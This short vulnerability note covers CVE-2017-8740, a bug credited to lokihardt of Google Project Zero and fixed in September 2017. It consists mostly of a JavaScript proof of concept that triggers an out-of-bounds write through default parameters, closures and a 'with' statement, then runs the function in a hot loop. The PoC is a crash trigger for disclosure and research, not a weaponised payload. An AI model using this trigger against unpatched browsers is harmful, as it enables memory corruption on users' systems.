CVE-2017-8740.md

CVE-2017-8740

• Fix: Sep 2017
• Credit: lokihardt of Google Project Zero

PoC

let h = function f(a0 = (function () {
    a0;
    a1;
    a2;
    a3;
    a4;
    a5;
    a6;
    a7 = 0x99999;  // oob write

    with ({});
})(), a1, a2, a3, a4, a5, a6, a7) {
    function g() {
        f;
    }
};

for (let i = 0; i < 0x10000; i++) {
    h();
}

Reference

• Microsoft
• Google Project Zero
• Fix